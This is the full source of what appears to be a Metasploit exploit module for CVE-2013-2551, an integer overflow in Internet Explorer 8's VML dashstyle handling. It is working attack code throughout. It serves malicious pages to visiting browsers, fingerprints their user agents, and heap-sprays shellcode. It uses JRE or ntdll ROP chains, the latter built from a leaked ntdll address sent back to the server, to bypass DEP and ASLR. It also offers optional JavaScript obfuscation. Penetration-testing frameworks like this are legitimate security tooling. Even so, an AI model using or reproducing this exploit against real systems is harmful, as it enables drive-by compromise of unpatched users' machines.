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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "8.0", :ua_maxver=> "8.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :rank => Rank }) def initialize(info={}) super(update_info(info, 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", 'Description'=> %q{ This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001). }, 'License'=> MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis '4B5F5F4B', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], 'Payload'=> { 'Space'=> 948, 'DisableNops'=> true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ 'IE 8 on Windows 7 SP1 with JRE ROP', # default { 'Rop' => :jre, 'Offset' => '0x5f4' } ], # requires: # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak', { 'Rop' => :ntdll, 'Offset' => '0x5f4' } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 06 2013", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0c0c # For IE 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141# OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141# OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05# xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + payload.encoded end return rop_payload end def load_exploit_html(my_target, cli) p= get_payload(my_target, cli) js = ie_heap_spray(my_target, p) js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i]= document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){ a[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0x0c0c0c0c; for (var i=0; i<0x1000; i++) { delete a[i]; CollectGarbage(); } location.reload(); } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <script> #{js} </script> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i]= document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1= document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^\t\t/, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue 0 end if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end vprint_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end |
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